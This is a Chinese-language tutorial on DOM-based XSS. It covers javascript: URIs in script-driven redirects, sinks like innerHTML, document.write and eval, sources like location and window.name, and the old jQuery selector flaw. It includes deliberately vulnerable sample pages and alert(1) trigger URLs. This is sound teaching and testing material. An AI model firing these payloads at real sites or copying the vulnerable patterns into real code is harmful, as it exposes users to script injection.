DOM-Based XSS是一种基于文档对象模型(Document Object Model,DOM)的Web前端漏洞,简单来说就是JavaScript代码缺陷造成的漏洞。与普通XSS不同的是,DOM XSS是在浏览器的解析中改变页面DOM树,且恶意代码并不在返回页面源码中回显,这使我们无法通过特征匹配来检测DOM XSS。
0x01 页面跳转
页面跳转中常用的三种方式:
1)302跳转
2)Meta标签跳转
3)通过JS跳转,使用location.href、location.replace()、location.assign()。
在页面跳转时,如果使用第三种方式跳转,那么就可以通过javascript伪协议执行JS脚本。
注意前两种跳转方式是无法执行的。
所以在页面跳转时针对跳转URL要做检测,否则就容易造成XSS。
例如:
<script type="text/javascript">
var s=location.search;
s=s.substring(1,s.length);
var url="";
if(s.indexOf("url=")>-1){
var pos=s.indexOf("url=")+4;
url=s.substring(pos,s.length);
location.href = url;
}
</script>
http://192.168.192.120/1.html?url=javascript:alert(1)
正确的跳转URL检测正则如下:
^http(s)?://[\d\w\-\.]+\.(xxx)\.com($|\/|\\)
0x02 取值写入页面或动态执行
这里接受用户输入,并通过DOM操作写入到当前页面中或者动态执行,常见的有:
innerHTML
document.write
document.writeln
eval
Jquery html()
...
除了服务端可以输出变量到JS外,以下这些地方也有可能成为输入点:
1) inputs标签
2) window.location(href、hash、search等)
3) window.name
4) document.referrer
5) document.cookie
6) localstorage
7) SessionStorage
...
window.location具体例子:
<html>
<body>
<script type="text/javascript">
var s=location.search;
s=s.substring(1,s.length);
var url="";
if(s.indexOf("url=")>-1){
var pos=s.indexOf("url=")+4;
url=s.substring(pos,s.length);
}else{
url="url参数为空";
}
//document.write("url: <a href='"+url+"'>"+url+"</a>"); //使用document.write输出
</script>
</body>
</html>
访问http://192.168.192.120/1.html?url=<imf/src=x οnerrοr=alert(1)>触发
这里需要注意Location.search取出来的时候<、>在Chrome和Firefox下是经过URL编码的。而location.hash是不会URL编码的。
关于Window.name可以通过引入iframe来控制。例如:
2.html
<iframe name="<svg/onload=alert(1)>" src="1.html">
1.html
<html>
<head><title>Test</title></head>
<body>
<div id="test"></div>
<script type="text/javascript">
document.getElementById("test").innerHTML = window.name;
</script>
</body>
</html>
另外LocalStorage和SessionStorage是HTML5 提供了两种新的本地存储方案,统称WebStorage。
sessionStorage 是针对session的数据存储,关闭窗口后删除。
localStorage 是一个本地的没有时间限制的数据存储。
一些关于用户个性化的设置信息完全可以存储在localStorage中,打开页面的时候JS负责从本地存储中取出数据。这里比较鸡肋的是需要LocalStorage可控,即首先你要能够写入LocalStorage才行。一般需要配合其他的漏洞写入来实现持久化,类似于XSS Rootkit。
另外需要注意innerText和innerHTML区别,innerText的HTML便签不会解析,innerHTML的HTML标签会解析。
<html>
<head>
</head>
<body>
<div id='text'>test</div>
<div id='html'>html</div>
<script>
document.getElementById('text').innerText = "<img/src='x' onerror=alert(1)>";
document.getElementById('html').innerHTML = "<img/src='x' onerror=alert(1)>";
</script>
</body>
</html>
结果如下:
另外innerText取值时,尖括号会被还原出来,例如
<html>
<body>
<a href='http://www.baidu.com' id=1><script>alert(1)</script></a>
</body>
</html>
Console下输出:
document.getElementById('1').innerText
"<script>alert(1)</script>"
document.getElementById('1').innerHTML
"<script>alert(1)</script>"
innerText会将实体编码转回来。
在Jquery中html()和text()区别是text()同样会把转义后的<和>还原回来:
<html>
<head>
<script type="text/javascript" src="jquery-1.10.2.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){
$(".btn1").click(function(){
alert($("#p").text());
});
$(".btn2").click(function(){
alert($("#p").html());
});
});
</script>
</head>
<body>
<div id='p'><script>alert(1)</script></div>
<button class="btn1">text()测试</button></br>
<button class="btn2">html()测试</button>
</body>
</html>
点击btn1弹出:<script>alert(1)</script>
点击btn2弹出:<script>alert(1)</script>
0x03 Jquery Dom XSS
jQuery低版本(1.9.0以下)存在DOM XSS漏洞
jQuery 是一个非常流行的JavaScript 库,但低版本的jQeury存在设计缺陷,导致引入低版本的jQuery文件之后,若对用户传入的参数值没有进行处理即传入$()函数中执行,且参数值中存在html标签,可导致DOM XSS版本漏洞。
<html>
<head>
<script src="http://libs.baidu.com/jquery/1.8.3/jquery.min.js"></script>
</head>
<body>
<script>
var url = location.href;
if (url.indexOf("#") > 0) {
var a = url.substring(url.indexOf("#")+1);
$("a[name='"+a+"']").show();
}
</script>
<a href="#" name="test">test</a>
</body>
</html>
访问http://192.168.192.120/1.html#<img/src=x οnerrοr=alert(1)>即可触发。
参考文章:
https://security.tencent.com/index.php/blog/msg/107
http://su.xmd5.org/static/drops/tips-689.html
http://www.91ri.org/5401.html